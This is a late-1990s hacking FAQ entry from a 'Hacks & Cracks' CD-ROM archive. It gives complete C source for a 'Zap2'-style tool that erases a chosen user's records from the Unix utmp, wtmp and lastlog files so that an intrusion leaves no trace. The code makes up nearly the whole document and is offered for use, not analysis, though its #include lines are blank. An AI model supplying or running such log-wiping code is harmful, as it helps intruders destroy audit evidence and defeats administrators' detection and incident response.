home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / library / hack / eraselog.txt < prev    next >
Text File  |  1998-03-25  |  2KB  |  94 lines

  1. 11. How do I erase my presence from the system logs?
  2.  
  3. Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
  4. files that can be edited by hand with vi, you must use a program
  5. specifically written for this purpose.
  6. Example:
  7.  
  8. #include
  9. #include
  10. #include
  11. #include
  12. #include
  13. #include
  14. #include
  15. #include
  16. #define WTMP_NAME "/usr/adm/wtmp"
  17. #define UTMP_NAME "/etc/utmp"
  18. #define LASTLOG_NAME "/usr/adm/lastlog"
  19.  
  20. int f;
  21.  
  22. void kill_utmp(who)
  23. char *who;
  24. {
  25.     struct utmp utmp_ent;
  26.  
  27.   if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  28.         while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  29.           if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  30.                           bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  31.                           lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  32.                           write (f, &utmp_ent, sizeof (utmp_ent));
  33.                   }
  34.         close(f);
  35.   }
  36. }
  37.  
  38. void kill_wtmp(who)
  39. char *who;
  40. {
  41.     struct utmp utmp_ent;
  42.     long pos;
  43.  
  44.     pos = 1L;
  45.     if ((f=open(WTMP_NAME,O_RDWR))>=0) {
  46.  
  47.         while(pos != -1L) {
  48.            lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
  49.            if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
  50.                 pos = -1L;
  51.            } else {
  52.                 if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  53.                         bzero((char *)&utmp_ent,sizeof(struct utmp ));
  54.                         lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
  55.                         write (f, &utmp_ent, sizeof (utmp_ent));
  56.                         pos = -1L;
  57.                 } else pos += 1L;
  58.            }
  59.         }
  60.         close(f);
  61.   }
  62. }
  63.  
  64. void kill_lastlog(who)
  65. char *who;
  66. {
  67.     struct passwd *pwd;
  68.     struct lastlog newll;
  69.  
  70.         if ((pwd=getpwnam(who))!=NULL) {
  71.  
  72.            if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
  73.                   lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  74.                   bzero((char *)&newll,sizeof( newll ));
  75.                   write(f, (char *)&newll, sizeof( newll ));
  76.                   close(f);
  77.            }
  78.  
  79.     } else printf("%s: ?\n",who);
  80. }
  81.  
  82. main(argc,argv)
  83. int argc;
  84. char *argv[];
  85. {
  86.     if (argc==2) {
  87.            kill_lastlog(argv[1]);
  88.            kill_wtmp(argv[1]);
  89.            kill_utmp(argv[1]);
  90.            printf("Zap2!\n");
  91.     } else
  92.     printf("Error.\n");
  93. }
  94.